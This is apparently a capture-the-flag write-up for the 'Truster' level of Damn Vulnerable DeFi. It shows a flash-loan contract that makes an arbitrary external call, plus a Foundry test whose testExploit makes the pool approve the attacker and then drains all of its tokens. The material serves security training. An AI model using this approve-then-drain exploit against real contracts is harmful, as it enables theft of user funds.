✅Truster
Description
TL;DR
Code Audit
Building PoC

Last updated

Last updated
function flashLoan(uint256 borrowAmount, address borrower, address target, bytes calldata data)
external
nonReentrant
{
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
if (balanceBefore < borrowAmount) revert NotEnoughTokensInPool();
damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
if (balanceAfter < balanceBefore) revert FlashLoanHasNotBeenPaidBack();
}pool.flashLoan(0, address(this), address(damnValuableToken), abi.encodeWithSignature("approve(address,uint256)", attacker, amount));// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";
import {DamnValuableToken} from "../../../src/Contracts/DamnValuableToken.sol";
import {TrusterLenderPool} from "../../../src/Contracts/truster/TrusterLenderPool.sol";
contract Truster is Test {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
Utilities internal utils;
TrusterLenderPool internal trusterLenderPool;
DamnValuableToken internal dvt;
address payable internal attacker;
function setUp() public {
/**
* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE
*/
utils = new Utilities();
address payable[] memory users = utils.createUsers(1);
attacker = users[0];
vm.label(attacker, "Attacker");
dvt = new DamnValuableToken();
vm.label(address(dvt), "DVT");
trusterLenderPool = new TrusterLenderPool(address(dvt));
vm.label(address(trusterLenderPool), "Truster Lender Pool");
dvt.transfer(address(trusterLenderPool), TOKENS_IN_POOL);
assertEq(dvt.balanceOf(address(trusterLenderPool)), TOKENS_IN_POOL);
console.log(unicode"🧨 Let's see if you can break it... 🧨");
}
function testExploit() public {
/**
* EXPLOIT START *
*/
vm.startPrank(attacker);
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", attacker, type(uint256).max);
trusterLenderPool.flashLoan(0, attacker, address(dvt), data);
dvt.transferFrom(address(trusterLenderPool), attacker, dvt.balanceOf(address(trusterLenderPool)));
vm.stopPrank();
/**
* EXPLOIT END *
*/
validation();
console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉");
}
function validation() internal {
// Attacker has taken all tokens from the pool
assertEq(dvt.balanceOf(address(trusterLenderPool)), 0);
assertEq(dvt.balanceOf(address(attacker)), TOKENS_IN_POOL);
}
}